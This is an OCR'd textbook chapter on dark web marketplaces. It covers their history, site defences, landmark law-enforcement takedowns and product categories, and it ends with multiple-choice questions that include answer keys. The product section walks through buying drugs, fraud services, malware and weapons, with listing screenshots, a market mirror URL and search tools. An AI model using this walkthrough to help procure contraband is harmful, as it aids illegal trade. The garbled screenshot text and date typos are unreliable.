breakthrough arrived in 2009 with the release of Bitcoin. Designed by the pseudonymous
developer Satoshi Nakamoto [3], Bitcoin was a peer-to-peer digital currency based on block-
chain technology, which enabled users to make transactions without involving a central
authority. Though not entirely anonymous, Bitcoin’s blockchain is public and traceable, and
it offered a level of pseudonymity that was previously unattainable. Combined with Tor’s
encrypted infrastructure, Bitcoin provided the final piece of the puzzle required for a scalable,
secure, and anonymous digital black market.

The confluence of these two technologies (Tor and Bitcoin) created the conditions necessary
for the emergence of darknet marketplaces as we recognize them today. The first significant
milestone in this new era came in February 2011 with the launch of Silk Road. Developed by
Ross Ulbricht under the alias “Dread Pirate Roberts,” Silk Road was a revolutionary online
marketplace that operated as a hidden service on the Tor network. Unlike its predecessors,
Silk Road featured a user interface modeled after legitimate e-commerce platforms like eBay,
complete with vendor ratings, customer reviews, shopping carts, and an escrow service to
manage payments and mitigate fraud. The site primarily facilitated the trade of narcotics but
also hosted listings for fake documents, hacking tools, and other contraband.
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Silk Road was not merely a marketplace; it was a prototype of a decentralized, self-reg-
ulated economy that functioned outside of traditional legal and financial frameworks. Its
success highlighted the latent demand for anonymous online commerce and inspired a wave
of imitators. However, it also attracted the attention of law enforcement agencies worldwide.
In October 2013, after an extensive investigation involving undercover agents, digital foren-
sics, and Bitcoin tracing, the FBI shut down Silk Road and arrested Ulbricht. This event sent
shockwaves through both the darknet and the broader cybersecurity community, sparking
debates about anonymity, privacy, and the scope of state surveillance.

The closure of Silk Road did not signal the end of darknet marketplaces; rather, it ush-
ered in a period of rapid proliferation and diversification. In its wake, a second generation
of marketplaces emerged, some explicitly branding themselves as successors. Silk Road 2.0
appeared within weeks, helmed by administrators who claimed to continue Ulbricht’s ideo-
logical vision. Other prominent platforms such as AlphaBay, Agora, Evolution, and Hansa
introduced new features and policies, striving to balance operational security with user expe-
rience. These platforms expanded the range of available goods and services, including weap-
ons, counterfeit currency, malicious software, and even murder-for-hire schemes, although
such listings were often scams or provocations.

Each new iteration of darknet marketplace brought with it advances in both security and
operational sophistication. Administrators adopted advanced encryption schemes, employed
multi-signature wallets, and implemented automated dispute resolution systems. However,
these improvements did not make the platforms invulnerable. Many were targeted by coordi-
nated international law enforcement operations or fell victim to internal corruption and exit
scams, schemes in which marketplace operators abruptly shut down their sites and absconded
with users’ funds. For example, Evolution vanished in March 20135, taking with it millions
in user-held Bitcoin. Similarly, AlphaBay, at one point the largest darknet marketplace, was
dismantled in 2017 in a multinational operation led by the FBI and DEA, following the arrest
of its administrator Alexandre Cazes.

Interestingly, the takedown of AlphaBay led to one of the most deceptive and elaborate
sting operations in the history of darknet law enforcement. Hansa, a rival marketplace, was
secretly seized by Dutch authorities and operated as a honeypot for nearly a month. During
this time, law enforcement monitored user activity, collected evidence, and harvested data
about vendors and buyers. When AlphaBay users fled the collapsing platform, many migrated
to Hansa, inadvertently stepping into a trap. This operation demonstrated that law enforce-
ment had become not only reactive but increasingly proactive, leveraging cyber-intelligence
and cross-border cooperation.

The continuous cycle of growth, exposure, and collapse pushed the darknet community
to explore even more secure and resilient frameworks. By the late 2010s, there was a notice-
able shift in the strategic architecture of these marketplaces. Vendors and users increasingly
adopted privacy-centric cryptocurrencies such as Monero, which featured built-in anonym-
ity through ring signatures, stealth addresses, and confidential transactions. Unlike Bitcoin,
Monero transactions are not publicly visible on a blockchain, making them extremely difficult
to trace. Additionally, decentralized marketplaces began to gain traction. These platforms,
often built on distributed peer-to-peer protocols, removed the need for central administra-
tors, traditionally the weakest link in the darknet marketplace chain. By decentralizing infra-
structure and governance, these systems aimed to make law enforcement intervention far
more challenging. While these decentralized platforms did not immediately match the popu-
larity of their centralized counterparts, they reflected an evolutionary trajectory toward more
robust anonymity and resilience.

At the same time, darknet marketplaces began to display a more professionalized veneer.
Vendors operated like businesses, complete with branding, customer support, satisfaction
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guarantees, and even refund policies. The reputational economy became a powerful regula-
tory mechanism within these spaces. A vendor’s ratings and reviews often held more sway
than any formal enforcement policy, incentivizing a surprising degree of reliability and
product quality, even within an illegal context. Some vendors maintained multiple identities
across platforms and utilized secure communication channels like PGP-encrypted messaging
to engage with clients, media, and even researchers. Despite their evolution, the ecosystem
remains volatile. Law enforcement continues to adapt, employing machine learning, block-
chain analysis, and darknet monitoring tools to track and disrupt illegal activity. Yet, each
takedown is followed by reinvention, reinforcing the notion that the dark web, like the inter-
net itself, is a dynamic, decentralized, and adaptive system. The cat-and-mouse game between
cybercriminals and authorities has become a defining feature of the digital age.

Moreover, the cultural and ideological underpinnings of darknet marketplaces have
matured over time. While early platforms like Silk Road were heavily influenced by liber-
tarian ideals and the concept of crypto-anarchism, modern marketplaces are often more
pragmatic. Many now operate purely as profit-driven enterprises, devoid of any political or
philosophical framing. Nevertheless, ideological discourse persists in forums and communi-
ties surrounding these platforms. Debates around privacy rights, digital autonomy, and the
role of the state in cyberspace are woven into the fabric of the darknet, suggesting that these
marketplaces are more than mere venues for crime; they are also sites of digital resistance
and experimentation.

Looking retrospectively, the historical development of dark web marketplaces offers
valuable insight into the interplay between technological innovation, human behavior, and
regulatory frameworks. What began as a series of disjointed efforts in obscure corners of
the internet evolved into a full-fledged alternative economy with its own norms, tools, and
governance structures. The darknet has continually adapted to external pressures through
technological advancement, shifting operational paradigms, and collective learning. The rise
of these marketplaces has not only challenged the capacities of global law enforcement but
also prompted broader societal debates about privacy, surveillance, and the future of digital
rights. With each takedown, the underlying tension becomes more visible: between a society
striving for security and a subculture demanding freedom, between centralized enforcement
and decentralized resistance.

In the next chapters of this history, new developments will continue to emerge, perhaps
with quantum-resistant encryption, zero-knowledge proofs, or entirely novel financial eco-
systems. Regardless of form, the past two decades make it clear that the evolution of dark
web marketplaces is far from over. They are not simply criminal enterprises; they are mani-
festations of an enduring struggle over control, anonymity, and freedom in the digital age.

2.3 MARKETPLACE DEFENSE SYSTEMS

Despite numerous takedowns, dark web marketplaces remain resilient, expanding into areas
such as hacking services, counterfeit documents, data breaches, and illegal software, reflect-
ing an ongoing cat-and-mouse game between cybercriminals and global authorities.

DDoS protection

Almost all dark web marketplaces employ DDoS (Distributed Denial of Service) protection
measures to defend against botnet attacks and ensure continuous availability. One of the most
common methods used is CAPTCHA verification, which helps distinguish real users from
automated traffic. By requiring users to complete CAPTCHA challenges before accessing the
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site, marketplaces can filter out malicious bots and reduce the risk of being overwhelmed by
fake requests. This layer of protection enhances the platform’s security and stability, making
it more resilient to common cyber threats. Figure 2.1 effectively displays the DDoS protection
strategies that some marketplaces have implemented.

Anti-phishing policies

Some dark web marketplaces implement security measures to help users verify the authentic-
ity of the site they are visiting. One common method involves prompting users to manually
enter missing characters from the URL. This step ensures that the URL matches the official
address, helping to prevent users from falling victim to phishing attacks. If the entered URL
differs from the correct one, it may indicate that the user is on a fake or malicious site. To
further support user safety, legitimate marketplaces often provide guidance on how to obtain
the official and verified URL through trusted channels, as illustrated in Figure 2.2.

DDoS Protection

Select each text box and enter the letter or
number you see within the circle below.

) Anti-Bot Protection

Prove that are a bot

click on the image displayed the amount of times

il 2 o fY

Figure 2.1 DDoS protect.

Don't be a Dorie! Don't get phished!

Anti-Phishing: MIRROR

ALWAYS verify the URL in your Tor Browser! URL ends with . , nothing else!

Check the URL in your browser to verify the missing chars.

kerb erésgzhuwi ~_mbzjeczSm3c2bmpg3mns6ty7ofwwk67kviswkac

.0__on

We recommend that you only connect via our own secure domains:

https://kerberos.market/mirrors

Figure 2.2 Anti-phishing.
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Don’t dare to play with the URL

Some dark web marketplaces implement layered access systems that monitor each stage of
user interaction, from landing on the homepage to reaching the login page. These platforms
often track the navigation path taken by the user to detect suspicious activity or attempts to
bypass steps. If someone tries to manipulate the URL to directly access the login page, skip-
ping earlier verification or security steps, they may be automatically denied access or perma-
nently blocked, as presented in Figure 2.3. This approach enhances security by preventing
automated scripts and unauthorized access attempts. However, while it adds a strong layer of
protection, it can also inconvenience legitimate users who may be unfamiliar with such strict
navigation protocols or who accidentally make an error during access.

Fixed payment methods

Unlike traditional e-commerce platforms that offer a wide range of payment options such
as UPI, credit cards, debit cards, and digital wallets, dark web marketplaces operate with a
much narrower and privacy-focused approach. These platforms typically accept only cryp-
tocurrencies, with Bitcoin and Monero (XMR) being the most common. While Bitcoin is
widely used due to its popularity and accessibility, Monero, as displayed in Figure 2.4, is

NEXT GENERATION MARKET

Sorry, the page you are looking for could not be found.

Figure 2.3 URL bypass blocked.

We strongly recommend that you never do Bitcoin (BTC) deposits or withdraws directly through a KYC service like an exchange.
Always remember: Bitcoin transcations are traceable forever and are not anonymous.
If you deposit or withdraw Bitcoin (BTC) directly to or from a KYC service these transactions can be easily traced back to you.

Nevertheless, in order to maximize your anonymity and security, we recommend that you use Monero (XMR)

M

Balance: (XMR) () 0.00000000 Balance: |3 0.00000000
Balance: (USD) $ 0.00 Balance: (USD) $ 0.00

Deposit: XMR Withdraw: XMR Ledger: XMR Deposit: BTC Withdraw: BTC Ledger: BTC

Figure 2.4 Payment options.
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favored by many for its enhanced privacy features, as it conceals transaction details more
effectively. The accepted payment method varies between marketplaces, but the emphasis
remains on ensuring anonymity and minimizing traceability for both buyers and sellers.

2.4 USE CASES OF MARKETPLACE TAKEDOWNS

Silk road (2011-2013)

Perhaps the most iconic and foundational case in the history of darknet market takedowns is
the fall of Silk Road [4]. Operating on the Tor network, Silk Road was launched in February
2011 by Ross Ulbricht, who operated under the pseudonym “Dread Pirate Roberts.” It func-
tioned much like a traditional e-commerce website but exclusively sold illegal goods and
services, with a heavy emphasis on narcotics, as displayed in Figure 2.5. The platform inno-
vated by integrating escrow services, reputation systems, and Bitcoin payments to ensure a
modicum of trust in a trustless ecosystem.

The takedown of Silk Road was a milestone in law enforcement’s evolving toolkit for
tackling the dark web. The investigation combined advanced cyber-forensics with traditional
law enforcement techniques. Federal agents infiltrated the marketplace, posing as buyers
and vendors, gathering both digital and behavioral intelligence. The breakthrough occurred
when Ulbricht carelessly used his real email address in early forum posts related to Silk Road
development, linking his identity to the platform. Furthermore, authorities traced logins from
his home IP address to the Silk Road admin console, eroding the veil of anonymity that Tor
provided.

In a strategic operation conducted in October 2013, the FBI arrested Ulbricht in a San
Francisco public library while he was logged into the administrator interface of Silk Road.
Forensic analysis of his laptop revealed a cache of unencrypted communications, vendor
information, and extensive logs confirming his identity as the mastermind. The seizure

messages 0 | orders 0 | sccount $0.00
Search |

O Gannabe 90 browsing drugs
Dissoclatives 18 em
Ecstasy 00
Oploids 10
Other 10
Procursors 13

Silk Road
anonymous market

s TIME O ] Zen Garden $0.06011620  add 1o cant

7g (1Mox) P.Cubensis Powder MagicTed $0.16030500  @dd 1o cant

FREE oty + M1 - bk MDMA ~100mg $0.00000000  add to cant

Figure 2.5 Silk Road marketplace.
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included over 170,000 Bitcoins—worth hundreds of millions at today’s value, making it
one of the largest asset seizures in cybercrime history. The closure of Silk Road marked the
end of the first major darknet marketplace but set the precedent for future law enforcement
approaches and the technological arms race that followed.

AlphaBay (2014-2017)

AlphaBay [5] was one of the largest and most profitable darknet markets ever created.
Founded in December 2014 by Alexandre Cazes, a Canadian citizen operating under the
alias “alpha02,” AlphaBay quickly gained notoriety for its professional layout, robust search
features, and expansive listings, including drugs, malware, counterfeit documents, stolen
credit card data, and firearms. By mid-2017, AlphaBay had grown to serve over 400,000
users and facilitated transactions valued at more than $1 billion in cryptocurrencies, primar-
ily Bitcoin and Monero.

What distinguished AlphaBay was not only its size but its technical sophistication. The site
used mandatory PGP encryption for communications, multi-signature escrow for high-value
transactions, and enforced two-factor authentication. It also leveraged Tor’s hidden services
architecture for backend operations, which included multiple failover servers and a modular
infrastructure to reduce the risk of single-point failure.

Despite these precautions, AlphaBay suffered from operational security (OpSec) flaws.
Cazes used the same email address across multiple platforms, including PayPal and a technol-
ogy forum where he had posted under his real name. This reused identity footprint became
the linchpin for investigators. A global multi-agency effort involving the FBI, DEA, Europol,
and the Royal Thai Police was launched under the code name “Operation Bayonet.”

In July 2017, Cazes was apprehended in Bangkok. His unencrypted laptop, open at the
time of arrest, yielded administrator credentials, unmasking server locations, financial led-
gers, and detailed user databases. He was found dead in his jail cell under suspicious cir-
cumstances shortly after his arrest, reportedly by suicide. In a coordinated effort, AlphaBay’s
servers in Lithuania and the Netherlands were seized, effectively dismantling the platform, as
illustrated in Figure 2.6.

The operation was notable not only for its scope but for its precision timing. Simultaneously,
users fleeing AlphaBay were redirected to another darknet platform, Hansa, which had
secretly been under Dutch police control. This bait-and-trap maneuver allowed authorities
to monitor thousands of transactions in real time, leading to further arrests and intelligence
collection.

THIS HIDDEN SITE HAS BEEN SEIZED

Since July 4, 2017

as a part of a law enforcement operation by the Federal Bureau of Investigation, the Drug Enforcement Administration,
and European law enforcement agencies acting through Europol

in accordance with the law of European Union member states and obtained pursuant to a forfeiture order by the United
States Attorney's Office for the Eastern District of California and the U.S. Department of Justice's Computer Crime &
Intellectual Property Section.

Figure 2.6 AlphaBay takedown.
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Hansa (2015-2017)

Hansa [6] began as a relatively modest marketplace but rose in prominence following the
shutdown of Silk Road 2.0 and the growth of AlphaBay. Known for its clean interface and
vendor-friendly policies, Hansa offered encrypted messaging, escrow services, and multi-sig
wallets. What ultimately made Hansa a hallmark of law enforcement innovation was not its
operations as a marketplace, but its role in a historic sting operation.

In June 2017, Dutch police successfully took control of Hansa’s backend infrastructure
without alerting its user base. The servers were located in the Netherlands and Germany, and
authorities employed legal wiretaps to monitor the activities of site administrators. Rather
than immediately taking the site down, Dutch police opted for a different strategy: they
would operate the site covertly while silently logging user behavior, recording PGP keys, cap-
turing unencrypted shipping information, and installing backdoors to trace cryptocurrency
transactions.

Meanwhile, AlphaBay’s takedown, which occurred just weeks later, sent thousands of dis-
placed users to Hansa directly into the hands of law enforcement. This redirection was inten-
tional, orchestrated through darknet forums and media manipulation. During the 27 days
the Dutch authorities operated Hansa, they captured tens of thousands of user IP addresses,
transaction details, and vendor information. This level of surveillance was unprecedented in
darknet operations and gave law enforcement a trove of actionable intelligence.

When Hansa was finally shut down in late July 2017, users were blindsided to learn
they had been transacting under the watchful eyes of international police. The success of
the operation marked a shift in strategy: from reactive takedowns to proactive infiltration
and long-term monitoring. Hansa proved that even technologically advanced marketplaces
were susceptible not just to forensic deconstruction, but to human error and jurisdictional
exploitation.

DarkMarket (2019-2021)

DarkMarket [7], active from 2019 to early 2021, emerged as a successor in a fragmented dark-
net landscape. Hosting over 500,000 users and 2,400 vendors at its peak, it offered listings
for drugs, counterfeit documents, stolen data, and hacking tools. What made DarkMarket
distinct was its decentralized administrative model and broad European footprint, relying on
multiple server locations and proxy layering to evade detection.

Yet, behind this veneer of complexity lay a critical vulnerability: the site’s administrator,
an Australian national named Lucas Martin, used a compromised email service and accessed
admin panels from geographically trackable nodes. German investigators, in collaboration
with Europol, INTERPOL, and the FBI, were able to identify Martin through IP leak analysis
and digital tracking.

In January 2021, German authorities arrested Martin near the Danish border while he was
using a SIM card linked to his darknet activities. The real success, however, came from his
laptop, which contained credentials and access routes to over 20 servers located in Moldova
and Ukraine. These servers hosted not only DarkMarket’s marketplace but also backups,
cryptocurrency wallets, and vendor logs.

The takedown of DarkMarket was not an isolated event but the culmination of a broader
investigation into a German web-hosting firm called Cyberbunker. Operating out of a
repurposed NATO bunker, Cyberbunker offered “bulletproof hosting” for illicit websites,
including child pornography, botnets, and darknet markets. The forensic linkage between
Cyberbunker’s infrastructure and DarkMarket servers helped law enforcement build a net-
work map of criminal interdependencies in the European darknet ecosystem.
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Figure 2.7 displays the seizing of the DarkMarket infrastructure, law enforcement gained
insights into cryptocurrency laundering techniques, wallet clustering, and cross-market ven-
dor identities. This data was later used to launch parallel investigations, leading to a cascad-
ing effect across smaller marketplaces and independent vendor operations.

Wall Street Market (2016-2019)

Wall Street Market (WSM) [8] was another high-profile darknet marketplace that positioned
itself as a direct competitor to AlphaBay and Dream Market. Operating from 2016 until its
abrupt closure in April 2019, WSM had more than 1.15 million user accounts and over 5,400
registered vendors. It was known for its sleek interface, tiered vendor ratings, and enhanced
escrow services that supported Bitcoin and Monero.

What led to WSM’s downfall was not law enforcement infiltration or hacking, but a fatal
mix of greed, mismanagement, and operational sloppiness. In early 2019, administrators
launched an exit scam, freezing withdrawals and stealing over $14 million worth of crypto-
currencies from user wallets. This prompted a flurry of complaints on darknet forums, which
caught the attention of authorities.

Unknown to the administrators, German and U.S. law enforcement had already been
monitoring their operations. The site had previously been flagged due to leaked PGP meta-
data embedded in admin messages. Furthermore, users noticed oddities in communication
timestamps that hinted at Central European Time, a valuable hint for investigators. Cyber-
forensics teams exploited this data to triangulate the real-world locations of the three admin-
istrators: two in Germany and one in Brazil.

During the raid, authorities recovered a range of incriminating evidence: wallets contain-
ing cryptocurrencies, written guides on darknet operations, and unencrypted laptops logged

Figure 2.7 DarkMarket takedown.
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into WSM’s admin console. The German Federal Criminal Police (BKA) also seized the server
infrastructure, allowing them to access user messages and transactional histories.

The takedown of WSM underscored the risks associated with centralization and poor
operational hygiene. It also highlighted the effectiveness of analyzing metadata, such as time
zone footprints, message headers, and reused PGP keys, in unraveling the anonymity of even
the most seasoned darknet operators.

2.5 DARKWEB PRODUCTS

Dark web marketplaces are decentralized, anonymous platforms typically accessed through
The Onion Router (Tor) or other anonymizing networks. These platforms are used for a wide
range of illegal and unethical transactions, leveraging cryptocurrencies to obfuscate identities
and transactions. This section outlines common categories of products and services traded on
dark web marketplaces, along with real-world inspired use cases for educational purposes.

Buying marketplace items

Dark web markets serve as major conduits for the anonymous sale of narcotics, ranging
from recreational substances to prescription medications. Typical listings include Cannabis,
MDMA, heroin, LSD, cocaine, fentanyl, Adderall, and Xanax. Gathering information through
open-source websites and data

Figure 2.8 shows the login page after successfully passing through multiple validation sys-
tems, and the tags and types of drugs available on the marketplace

After selecting the type of product, buyers can view clicking and checking the basic details
to finally select “Regular Shipping Option” as shown in Figure 2.9.

Once done with checking details, buyers can proceed with the payment, which can be
accepted in Bitcoin or through Monero, as shown in Figure 2.10.

Buyers often use a specialized tool “Beyond the Surface” to gather information about
marketplaces, as shown in Figure 2.11.

R + Drugs & Chemicals (S

b wry &4 A + Stimulants
N ) \ 4 )
N \ ( “ I F |' % + Cannabis
¥ \ =

MIRROR GOLF + Ecstasy
+ Psychedelics
Username + Dissociatives
+ Opiate
+ Benzodiazepine

> Sexual Enhancer

Password

> Prescriptions Drug

Anti-Phishing: MIRROR GOLF URL starts with: kerberos
ends with: . . . iswkad. > Sleroic

> Dru

Captcha

Figure 2.8 Login page & tags.



Dark Web Marketplaces 39

!1INew!!193+% Bolivien Kokain 0,3 for 10 Euro !!!!!Sample!!!!!1!! Cocaine

0

Shipment from — Deliver t -
Category: Dru 1emical Cocaine Price: (EUR) € 10,00

(UsD) $11.65 @

OMOTIO

bolidelux

Available items: 5 <D 44 [o[i'Al 1x = EUR € 10,00 v

Offer by vendor: Disabled

Finalize Early (FE) Discount: Disable Select: Regular Shipping Option

KPH

Figure 2.9 Selected item.

Selected Service: Escrow Service

Description Amount (Selected currency) (@ Amount
Regular price (Qty: 1x) (USD) $ 11.65 (EUR) € 10,00
Shipping

Customer marketplace commission: 2.00%

Donation to Charities: 0.50% of item price
Amount of the order in Fiat (UsD) $ 15.44 (EUR) € 13,25

Amount of the order in Bitcoin (BTC) B 0.00012984
Amount of the order in Monero (XMR) (™) 0.04698582

) Pay NOW with: Bitcoin (BTC)
Balance: (BTC) 90 00000000

@ Pay NOW with: Monero (XMR)
Balance: (XMR) @) 0.00000000

P

Figure 2.10 Monero payment option.
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Figure 2.11 Tool search.

After selecting the .onion link, users can find the corresponding product details and proceed
with the buying option as shown in Figure 2.12.

Darkweb services

Though not always visible to casual users, a wide variety of illicit digital and service-based
offerings are available in dark web marketplaces. These services cater to cybercriminals seek-
ing identity theft, financial fraud, unauthorized access, and exploit-based activities. Typical
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listings include Carding Services (e.g., stolen credit card data, SSNs, and DOBs), Hacking and
Cracking Tools, Social Engineering and Phishing Kits, Fake Physical and Digital Documents,
Social Media Account Takeovers, Digital-for-Hire Services like transfers, manipulation,
bypasses. Figure 2.13 displays the tags and types of services available on the marketplace.

Figure 2.14 displays the details of a particular service as selected by the user.

After successfully reading and adhering to all the information, the buyer can proceed
toward payment, as illustrated in Figure 2.15.

Using the “Beyond the Surface” tool buyers can gather details about marketplace services,
as shown in Figure 2.16.

After selecting the service, the buyers can proceed with the other formalities, as shown in
Figure 2.17.

DrChronic - Shipping from USA

Straight from the source! We don't lose packages: your privacy and satisfaction is our top
priority! Here at DrChronic we strive to meet and exceed customer expectations and always
conduct our business professionally with integrity..

We currently ship MON.WED,FRI and all orders received before 12pm PST on those days
will ship same day!

NO REFUND OR RESHIPMENT ON ORDERS THAT SHOW DELIVERED. Shipping is $5,
FREE for orders over $200.

Product Price Quantity

SKUNK KUSH 1oz 120 USD = 0.00100 B 1 X

Figure 2.12 Shipping option.
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Figure 2.14 Selected service.

Description Amount
Regular price (Qty: 1x) (USD) s 10.00
Shipping (USD) $ 0.00
Customer marketplace commission: 2.00%

Amount of the order in Fiat (USD) s 10.20
Amount of the order in Bitcoin (BTC) B 0.00008562
Amount of the order in Monero (XMR) ™) 0.03109756

@ Pay Now vith: Bitcoin (BTC)
Balanco: (BTC) 80.00000000

Figure 2.15 Payment options.

Dark Web Intelligence Search Results

Active Sites (10)

Q services

Figure 2.16 Search service.

Fraud-related offerings

Fraud-related offerings constitute one of the largest categories in dark web marketplaces.
These listings support a wide range of cybercriminal activity targeting financial institutions,
individuals, and corporations. Typical listings include stolen credit card data (CVVs, dumps,
full), Compromised Online Accounts (banking, email, streaming, e-commerce), Leaked
Personal Information (names, addresses, SSNs, date of birth), Scam pages (phishing site
templates for banks or services), Gift Card Exploits, and Balances. To gather information
through open sources Figure 2.18 displays the list of Fraud-related services available on the
marketplace.

Figure 2.19 illustrates the details of the product selected for order and product informa-
tion, similar to the steps discussed in earlier use cases.

Using the Ahmia search engine, details of Fraud-related onion marketplace links are pre-
sented in Figure 2.20 to view the fraud products being sold.
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Figure 2.18 Fraud-related services.
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Figure 2.19 Product details.

Software and malware

Dark web marketplaces even serve as the platform for the distribution of software and
malicious code, catering to a broad spectrum of cybercriminal needs from automation to
advanced intrusion tools. Some listings are Malware Variants (stealers, ransomware, remote
access trojans), Botnets for Rent or Sale, Exploit Kits and Zero-day Payloads, Crackers and
License Bypass Tools, Commercial and Carded Software (e.g., stolen licenses of premium
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Figure 2.20 Fraud-related products.

+ Software & Malware 652

Figure 2.2 Software & malicious code.

tools), Security Software (repurposed for malicious use or testing), Trojans and Rootkits,
“Legit” Software used in support of cyber operations. Figure 2.21 displays the available soft-
ware and malware in these marketplaces.

Figure 2.22 displays the details about one such product available for order, with a buying
process similar to the steps discussed earlier.

Also, using the Ahmia search engine through the IACA tool, buyer can find the software and
malware available on these marketplaces along with their links as displayed in Figure 2.23.



44 Beyond The Invisible Nexus

Shipmont from: V/oridwklo — Deliver to: Worldwide
Category: Software & Malware » Exploils / Exploit Kils

Price: (EUR) € 5,00
(USD) $5.83 @

Available ltems: 0O @55 (oAl 1x = EUR € 5,00 v

Offer by vendor: Disabled

Featured by vendor Finalize Early (FE) Discount: Disabled Select: Regular Shipping Option

Figure 2.22 Select malware products.
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Figure 2.23 Search software and malware using Ahima.

Gemstones and precious metals

While not commonly trafficked through dark web marketplaces, listings for real-world high-
value commodities such as gemstones and precious metals have appeared in some darknet
catalogs. These listings are rare and often show zero active entries, suggesting limited demand
or high risk in the supply chain. Here, Gemstones (Diamonds, rubies, sapphires, emeralds,
opals), Precious Metals (gold, silver, platinum, palladium) are often trafficked for:

¢ Money laundering through high-value transactions
¢ Smuggling operations using physical concealment
¢ Illicit investments outside of the regulated financial system

Figure 2.24 displays the Gemstones and Precious Metals available on the marketplace.
Using the tool Beyond the Surface, Figure 2.25 displays the cost and product details about
precious metals like gold, for example, being sold on these marketplaces illegally.

Dark web hosting

Dark web marketplaces facilitate access to digital infrastructure services used to support
cybercriminal operations. These offerings provide the technical backbone for hosting mali-
cious content, launching attacks, or maintaining anonymity. This involves Compromised
Panels and Web Servers, Domains and Subdomain Leasing, Virtual Private Networks (VPNs)
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Figure 2.24 Gemstones and precious metals.

and Socks Proxies, Remote Desktop Protocols (RDPs) for unauthorized system access, Virtual
Private Servers (VPS) and Dedicated Servers. Figure 2.26 displays the list of hosting products
in a marketplace using the ‘Danex’ search engine.

Figure 2.27 displays the various categories on the Directorio marketplace for hosting-
related products.

Dark web Intell B Search Results

Active Sites (4)
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$350.00 $400.00

Add to cart Add to cart

Figure 2.25 Precious metal gold.
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Figure 2.26 Dark web digital infra offerings.
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Figure 2.28 Weapons on marketplaces.

Weapons

Weapons listings on the dark web are typically limited due to high legal risks, logistical chal-
lenges, and surveillance by law enforcement agencies under threat of takedown. When avail-
able, these include firearms (Semi-automatic handguns: assault rifles, shotguns), Ammunition
(Various calibers, Armor-piercing rounds), Accessories (Silencers, conversion kits, red-dot
sights), (Blueprints3D-printable firearm files, weapon modification guides). Navigate to the
following link to access the weapons marketplace. Figure 2.28 displays the guns available
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Figure 2.29 Weapons search.

for sale on the marketplace, a user can select the product and proceed with the address and
billing section.

Using the Beyond the Surface tool, buyers can search for active sites selling weapons for
sale as the search keyword, as presented in Figure 2.29 and select the product to proceed with
selection and billing.

2.6 CONCLUSION

The evolution of dark web marketplaces stands as a testament to the dual-edged nature
of digital innovation, capable of empowering privacy and autonomy, yet equally effective
at enabling clandestine economies and criminal networks. From Silk Road’s libertarian
manifesto to the rise of decentralized, resilient markets, these platforms have reshaped the
architecture of online illegality. They leverage anonymity networks, cryptocurrencies, and
novel sociotechnical systems to circumvent traditional legal and regulatory frameworks.
Yet their persistence is not merely technological; it is symptomatic of broader sociopoliti-
cal asymmetries and unresolved tensions between surveillance and freedom, control and
decentralization. Marketplace takedowns, as detailed through landmark operations such
as AlphaBay and Hansa, illustrate law enforcement’s increasing cyber-savviness, but they
also highlight the limits of centralized intervention in an ever-evolving digital terrain.
The commodification of fraud, malware, and even digital infrastructure itself speaks to
a maturing cybercriminal economy that is both adaptive and opportunistic. Ultimately,
dark web marketplaces are more than commercial hubs; they are dynamic arenas where
ideology, economics, and technology intersect. Their study demands a multidisciplinary
lens, one that embraces criminology, cybersecurity, ethics, and digital sociology. As the
arms race between privacy and policing intensifies, understanding these marketplaces
becomes vital for shaping future discourse on internet governance, anonymity, and digital
resistance.
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MULTIPLE CHOICE QUESTIONS FOR LEARNING

1. A cybersecurity analyst is examining a newly launched dark web marketplace that
enforces Monero-only transactions, uses CAPTCHA to control bot traffic, and prompts
users to enter missing characters in URLs to verify authenticity. Despite these measures,
a vendor disappears with customer funds overnight. What primary weakness of such
marketplaces does this scenario illustrate?

a. Inadequate CAPTCHA defense
b. Vulnerability to DDoS attacks
c. Risk of exit scams

d. Ineffective URL validation

Correct Answer: ¢) Risk of exit scams

Reason: Even well-secured marketplaces cannot prevent administrators from executing
exit scams. Despite layers of security like Monero payments, CAPTCHAs, and anti-
phishing mechanisms, the human factor (greed or betrayal) remains a key vulnerability.

2. After AlphaBay’s takedown, many users migrated to Hansa. Unbeknownst to them,
Dutch authorities had secretly taken over its servers. Over 27 days, they monitored user
behavior and gathered vast amounts of intelligence. What was the primary benefit of
this law enforcement strategy?

a. Immediate arrest of all users

b. Exploitation of PGP encryption flaws

c. Long-term behavioral and transactional monitoring
d. Shutdown of Tor network nodes

Correct Answer: ¢) Long-term behavioral and transactional monitoring

Reason: Operating the site covertly allowed law enforcement to surveil users’ activities,
including logins, communications, and transactions, offering a rare window into user
patterns without raising suspicion prematurely.

3. A vendor operating across multiple marketplaces implements multi-signature wallets
for high-value transactions. Buyers need to co-sign transactions along with a market-
place administrator. What key purpose does this system serve?

a. Improves sales tracking

b. Ensures customer identity verification

c. Mitigates fraud in the absence of legal enforcement
d. Avoids cryptocurrency fees

Correct Answer: ¢) Mitigates fraud in absence of legal enforcement

Reason: Multi-signature wallets create checks and balances, distributing trust among
multiple parties. This reduces the likelihood of unilateral fund theft or manipulation in
an ecosystem where formal legal arbitration is unavailable.

4. Investigators track marketplace administrators after noticing communication time-
stamps aligned with Central European Time and PGP metadata reuse. What type of
forensic technique is most likely in use here?

a. Hash collision detection
b. Metadata analysis

c. CAPTCHA bypass tracing
d. Blockchain segmentation

Correct Answer: b) Metadata analysis
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Reason: Digital breadcrumbs like time zones and reused encryption keys provide clues
about physical locations and behavioral patterns, enabling investigators to correlate
online activity with real-world identities.

. Despite decentralized infrastructure and proxy layering, DarkMarket was dismantled
when the administrator used a compromised email and traceable nodes. Which prin-
ciple was most undermined in this scenario?

a. Marketplace decentralization

b. Anonymized payment systems

c. Operational security (OpSec)

d. Reputation-based trust system

Correct Answer: c) Operational security (OpSec)

Reason: OpSec refers to maintaining strict digital hygiene. Even advanced systems fail
if users or admins make elementary mistakes, like using traceable email accounts or
logging in from geolocatable devices.

. A group of researchers considers scraping a dark web marketplace for data analytics
using NLP and anomaly detection to understand vendor trends. What is the primary
ethical risk involved in this approach?

a. Violation of cryptocurrency protocols

b. Enabling money laundering

c. Unintentionally legitimizing criminal economies

d. Infringement of open-source licenses

Correct Answer: ¢) Unintentionally legitimizing criminal economies

Reason: Engaging with or accessing dark web marketplaces for research, even pas-
sively, could be interpreted as participation or validation, inadvertently sustaining the
platforms being studied.

. Silk Road’s founder positioned the platform not just as a marketplace for narcotics but
as a demonstration of libertarian and voluntary exchange ideals. Which concept was
most central to Silk Road’s foundational vision?

a. Centralized escrow systems

b. Algorithmic governance and peer consensus

c. DDoS-resilient architectures

d. Mandatory real-name verification

Correct Answer: b) Algorithmic governance and peer consensus

Reason: Silk Road wasn’t just a platform; it was an ideological experiment in digital
anarchism. It relied on algorithmic trust mechanisms rather than legal authority, mak-
ing governance decentralized and consensus driven.

